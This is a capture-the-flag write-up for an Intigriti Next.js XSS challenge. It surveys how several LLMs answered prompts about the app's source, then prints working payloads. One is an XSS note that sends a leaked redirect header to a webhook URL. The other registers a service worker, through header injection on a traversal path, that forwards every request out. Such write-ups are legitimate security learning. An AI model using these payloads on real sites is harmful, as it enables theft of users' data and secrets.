Skip to content

Instantly share code, notes, and snippets.

@Siss3l
Last active April 5, 2025 18:20
Show Gist options
  • Save Siss3l/007d12c561fce1932f2202d43e3792b4 to your computer and use it in GitHub Desktop.
Save Siss3l/007d12c561fce1932f2202d43e3792b4 to your computer and use it in GitHub Desktop.
Intigriti March 2025 XSS Challenge @0x999-x

Intigriti March 2025 XSS Challenge

Challenge

Description

The solution:

  • Should leverage a cross site scripting vulnerability on this domain;
  • Should work on the latest version of Chromium and Firefox;
  • Should not be self-XSS or related to MiTM attacks;
  • Should include the flag in the format INTIGRITI{.*}.

Overview

We have the web challenge where we can login to create notes:

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charSet="utf-8"/>
    <meta name="viewport" content="width=device-width, initial-scale=1"/>
    <link rel="preload" href="/_next/static/media/file-s.p.woff2" as="font" crossorigin="" type="font/woff2"/>
    <link rel="stylesheet" href="/_next/static/css/file.css" data-precedence="next"/>
    <link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack.js"/>
    <script src="/_next/static/chunks/main-app.js" async=""></script>
    <script src="/_next/static/chunks/app/layout.js" async=""></script>
    <script src="/_next/static/chunks/app/error.js" async=""></script>
    <script src="/_next/static/chunks/app/login/page.js" async=""></script>
    <meta name="next-size-adjust" content=""/>
    <title>Leaky Fragment</title>
    <meta name="description" content="Can steal my flag?"/>
    <link rel="icon" href="/favicon.ico" type="image/x-icon" sizes="16x16"/>
    <script src="/_next/static/chunks/polyfills.js" noModule=""></script>
  </head>
  <body class="__className">
    <div role="region" aria-label="Notifications (F8)" tabindex="-1" style="pointer-events:none">
      <ol tabindex="-1" class="fixed"></ol>
    </div>
    <section aria-label="Notifications alt+T" tabindex="-1" aria-live="polite" aria-relevant="additions text" aria-atomic="false"></section>
    <div class="flex-1  flex flex-col  items-center justify-center">
      <div class="w-full max-w-md">
        <div class="text-center space-y-2">
          <div class="flex items-center">
            <div class="relative min-w-24 min-h-24">
              <div class="absolute z-10">
                <svg xmlns="http://www.w3.org/2000/svg" style="shape-rendering:geometricPrecision;text-rendering:geometricPrecision;image-rendering:optimizeQuality;fill-rule:evenodd;clip-rule:evenodd"></svg>
              </div>
              <div class="absolute bottom-[24%] left-[76%] -translate-x-1/2 animate-drip">
                <div class="w-4 h-4 bg-sky-400/80 rounded-full"></div>
              </div>
            </div>
          </div>
          <h1 class="text-2xl font-bold">Welcome to Leaky Flagment</h1>
          <p class="text-sm text-gray-600">Enter your username and password to view your notes.</p>
        </div>
        <form class="space-y-4">
          <input type="text" class="flex" placeholder="Enter your username..." value=""/>
          <input type="password" class="flex" placeholder="Enter your password..." value=""/>
          <button class="inline-flex" type="submit">Enter</button>
        </form>
      </div>
    </div>
    <footer class="text-center text-xs bg-gradient-to-r from-[#ee9ca7] to-[#ffdde1]">Made by 0x999</footer>
    <script src="/_next/static/chunks/webpack.js" async=""></script>
    <script>(self.__next_f = self.__next_f || []).push([0])</script>
    <script>self.__next_f.push([1, "1:\"$Sreact.fragment\"\n"])</script>
    <script>self.__next_f.push([1, "0:{\"P\":null,}\n"])</script>
    <script>self.__next_f.push([1, "8:{}\n9:{}\n"])</script>
    <script>self.__next_f.push([1, "f:[[\"$\",}]]\n"])</script>
    <script>self.__next_f.push([1, "b:null\n"])</script>
  </body>
</html>

Investigation

Curious to see if recent free LLMs could help us, the first problem will be the amount of files to check, but we can always inspect them gradually while providing a fresh look of new security vulnerabilities.

Vibe

Host (2025 Current Time) Informations Preprompt Questions Results
Alpha Site is recent and may therefore contain inconsistencies Default Why "middleware.js" (as "regex") code could be a problem here? 01*
ChatGPT GPT-4.5 Preview Default Given the [codebase], find probable web XSS vulnerabilities and execute them 02
Claude 3.7 version Default Read different blogs about WAF bypass and summerize them 03
Copilot 2025 changelog None Create alternative exploits to leak "fragment directive" data please 04
Cursor 0.48.x version None Where is the greatest risk of performance loss? 05
DeepSeek 2025-03-24 version Default What are the possible bypasses in the code? 06*
DuckDuckGo GPT-4o mini Default Check for all the Events registered in the app 07
LLama 3.3 version Default What is the CSP used and what could we do with it (as xsleaks, unicode normalization) then? 08*
Manus From friend, sadly Manus computer encountered some issue None Read this screenshot of code (with security open source tools) 09
Mistral Codestral Default List differences between useful code from the source.zip challenge AND useless endpoints please 10*
Perplexity 2025 changelog Default Generate a method to optimize the debugging of Docker Next.js app 11
Rogue Some problems with API bindings None Act as a Web Cybersecurity researcher and read the data 12*
Grok Grok 3 version Default List all the HTTP headers used in the [codebase] and external packages 13

Those questions where mostly used (sometimes being rephrased, AI generated, adapted to certain models who could hallucinate, crash, lose context and self-censor) on each prompt but not always working as expected.

What

Some models were fused with others or upgraded, annoted with * asterisk character. Tools like Ollama and OCR will drastically reduce performance/accuracy.

If we need to allocate high memory on simple questions (as preserving Earth) we can work with framework evaluating LLM routers and snapshots for testing comparison logic.

The results (like false positives) are shortened to the essentials to keep it digestible:

  1. The provided middleware.js code has several potential issues and areas for improvement that could lead to problems in a Next.js challenge. Here are some of the key concerns.
    • Incorrect UUID Regex to CSPT;
      • const uuid_regex = /^[^\-]{8}-[^\-]{4}-[^\-]{4}-[^\-]{4}-[^\-]{12}$/
      • ../<svg/-onlo-ad=a-lert-(1)>xxxxxxxx
    • Unicode Normalization attack;
    • Security Concerns about secret_cookie;
    • Potential for Infinite Redirects;
    • The secretRegex used to validate the decoded secret_cookie is overly permissive.
  2. I'll analyze the source code for more vulnerabilities. Let me extract and inspect the files first.
    • Next.js API routes (pages/api/)
      • The track.js file stores userAgent from the request, but it does not sanitize it before logging or storing it. If this is later rendered in an HTML context, it could lead to stored XSS
    • Frontend components (components/ and app/, let me know if there is any specific files)
    • Middleware (middleware.js)
      • XSS via X-Real-Ip (X-User-Ip) header in middleware.js
    • Bot (bot/bot.js)
      • Weird Edge Cases (CVE, Unicode, Null Bytes, Encoding, Unexpected behavior bypassing Next.js app) in Firefox
    • Nginx rules (nginx/nginx.conf)
      • Redis Misconfig (Command Injection?)
  3. Following posts, the POST HTTP method based CSRF without Content-Type header using Uint8Array may self-create note.
  4. I'm sorry, but I can't assist with that. If there is any other questions or need help with something else, feel free to ask.
  5. Composer data handle is disposed.
  6. The server is busy. Please try again later.
    • Insecure Use of window.postMessage (Target Origin Wildcard *);
    • Insecure postMessage Origin Validation;
    • Potential Information Leakage via postMessage;
    • Plaintext Password Comparison;
    • Lack of Message Origin Validation in handleMessage;
    • Lack of Rate Limiting or Brute-Force Protection;
    • Potential XSS via JSON Parsing;
    • Lack of Cleanup for window.opener;
    • Insecure Storage of Sensitive Data in localStorage;
    • Potential Denial of Service (DoS) via Large localStorage Data;
    • Cross-Origin Window Communication Risks.
  7. Given all the events registered in the app, service workers can have implications for security, particularly regarding the handling of sensitive data and the potential for leaking information through various directives, including the fragment directive. Here's a breakdown of the potential impacts.
    • Service Workers and Caching
      • Service workers can intercept network requests and cache responses. If a service worker is not properly configured, it might cache sensitive data or URLs that include fragments, which could be exposed to other scripts or users
    • Data Leakage (Potential Risks)
      • If a service worker caches responses that include sensitive information in the URL fragment, this data could be inadvertently exposed to other parts of the application or to malicious scripts
  8. Content may contain harmful or sensitive material 🦙
  9. Context too long.
  10. Let's analyze the provided React component for potential vulnerabilities, particularly focusing on Cross-Site Scripting (XSS) and other common issues.
    • Event Listeners
      • The component uses event listeners to communicate with a child window. Ensure that the event data is validated to prevent malicious inputs
    • HTTP Requests
      • When making an HTTP request using fetch, the fragment is not included in the request sent to the server. The server only receives the part of the URL before the #
    • Local Storage
      • Notes are stored in localStorage. Be cautious with storing sensitive data in localStorage as it can be accessed via XSS attacks
      • Users do not share notes with each other, but can compromise their integrity with weak passwords
  11. To optimize the debugging of a Docker Next.js app, follow these steps.
  12. 503 Service Temporarily Unavailable of https://challenge-0325.intigriti.io/
  13. The GitHub issue found, vercel/next.js #56852, describes a bug in Next.js where data requests with the X-Nextjs-Data:1 header (or in lowercase) return a 200 OK status code with an empty JSON object, even when the requested route does not exist (which should typically return a 404 Not Found). This issue occurs specifically since a middleware.js file is present in the project. Below, I'll explain the impact of this bug in a clear and structured way.
Key Value
Transfer-Encoding chunked
Connection keep-alive
Content-Security-Policy frame-ancestors https://challenge-0325.intigriti.io; base-uri 'none'; object-src 'none'; frame-src 'none';
Referrer-Policy no-referrer
X-Nextjs-Redirect /note/test?s=true#:~:test:test (Fragment Directive Leakage)

Oof

We end up with more lazy questions than answers but enough to get a general view of the challenge, as the goal is to leak the fragment directive.

Moreover some subtleties have been ignored by LLMs, such as bad indentation in the source code. Quite funny since we will rewind it later:

// source.zip/leaky-flagment/nextjs-app/app/protected-note/page.jsx
useEffect(() => {
  if (window.opener) {
  window.opener.postMessage({ type: "childLoaded" }, "*"); // Indentation missing
  }
  setisMounted(true);
  const handleMessage = (event) => {
    if (event.data.type === "submitPassword") {
      validatepassword(event.data.password);
    }
  };
  window.addEventListener("message", handleMessage);
  return () => window.removeEventListener("message", handleMessage);
}, []);
// source.zip/leaky-flagment/nextjs-app/pages/api/track.js
export default async function handler(req, res) {
  const { method } = req; // Re-indenting
  res.setHeader('Content-Type', 'text/javascript');
  switch (method) {
    case "GET":
      try {
        const userIp = req.headers['X-User-Ip'] || '0.0.0.0'
        const jsContent = `
          $(document).ready(function() {
            const userDetails = {
              ip: "${userIp}",
              type: "client",
              timestamp: new Date().toISOString(),
              ipDetails: {}
            };
            window.ipAnalytics = {
              track: function() {
                return {
                  ip: userDetails.ip,
                  timestamp: new Date().toISOString(),
                  type: userDetails.type,
                  ipDetails: userDetails.ipDetails
                };
              }
            };
          });`
        if (userIp !== '0.0.0.0') {
            return res.status(200).send(jsContent);
        } else {
            return res.status(200).send('');
        }
      } catch (error) {
        console.error('Error:', error);
        return res.status(500).send('Error');
      }
    default:
      res.setHeader('Allow', ['GET']);
      return res.status(405).send('console.error("Method not allowed");');
  }
}

Also it is recommended to always check that the web browsers are up-to-date (as not only LLMs forget).

FireFock

Solution

Based on all research, we could see some intriguing behavior of Next.js headers, empty Content-Type case and triggered postMessage combined with the hardcoded actions.move({x:centerX, y:centerY}).click() bot code to click on our freshly created malicious note (leaking the flag):

url, vps = "https://challenge-0325.intigriti.io", "https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"; global load  # url = "http://localhost"
xss = f"""<body onclick=xss() style='width:100%;height:100%'>
<script>
  let n = ""; async function xss(){{
    window.addEventListener("message", (e)=>{{
      e.data.type === "childLoaded" ? n.postMessage({{password:"",type:"submitPassword"}},"*") : (n.location.href=`{url}/note/${{e.data.noteId}}`);
    }});
    await fetch('{url}/api/post',{{
      body: new Blob([`{{\"title\":\"xss\",\"content\":[\"<svg/onload=fetch('{url}/note/xiao',{{headers:{{'X-Nextjs-Data':'1',method:'GET'}}).then(function(r){{fetch('{vps}?'+btoa(r.headers.get('X-Nextjs-Redirect')))}})>\"],\"use_password\":\"false\"}}`]), method: 'POST', credentials: 'include', mode: 'cors' // no-cors
    }});
  }}
  await delay(3000); window.open('{url}/notes'); // cfr. https://stackoverflow.com/questions/17883692
</script>"""; load(vps, xss)  # Add CORS headers to our Webhook view

We wait ~10 seconds until we receive the request:

https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee?L25vdGUveGlhbz9zPXRydWUjO.....szcnNfNHJlX3AwdzNyZnVsfQ==
Time    0.000 sec
sec-fetch-site  cross-site
sec-fetch-mode  cors
sec-fetch-dest  empty
origin  https://challenge-0325.intigriti.io
accept  */*
user-agent  Mozilla/5.0 (X11; Linux x86_64; rv:136.0)
Query strings
/note/xiao?s=true#:~:admin1234567:INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}

Reality

The Solution

Rereading the query, we realize that we probably missed something important (and got stuck on the same spot so we must persevere). It seems possible to register Service Worker to leak requests.

We generate some functional payload, adapting it into our previous tests (since sometimes it works only locally for weird reasons, logs are omitted):

global load, test, vps
xss = """
let vps = "https://webhook.site/aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee"; let url = "http://localhost"; // url = "https://challenge-0325.intigriti.io"
let xss = `
await fetch(url+"/view_protected_note/x.js?id=../api//-////-////-////-/../../track", {
  headers:{"X-User-Ip":"}},(function(){self.addEventListener('fetch',(evt)=>{evt.respondWith(fetch(vps+btoa(evt.request)));return;})})());console.info(function(){const/**/userDetails={test: "},
  credentials: 'include', mode: 'cors', cache: 'reload' // no-cors, no-cache, no-store, force-cache, cache-control
});
await navigator.serviceWorker.register(url+'/view_protected_note/x.js?id=../api//-////-////-////-/../../track'); // Required to update the scope, can change
`""".replace("\n",""); load(vps, test+xss)  # CORS

We should then receive the loaded bot request(s):

https://challenge-0325.intigriti.io/note/aaaaaaaa-bbbb-cccc-dddd-xxxxxxxxxxxx?s=true#:~:admin7654321:INTIGRITI{s3rv1ce_w0rk3rs_4re_p0w3rful}
https://challenge-0325.intigriti.io/_next/static/chunks/main-app.js

Sad

Appendix

In brief LLM could be both a great help and a timesink, given the number of files to review.
A very nice challenge with different angles of attack (reminding us how mussy web is).

Bye

Comments are disabled for this gist.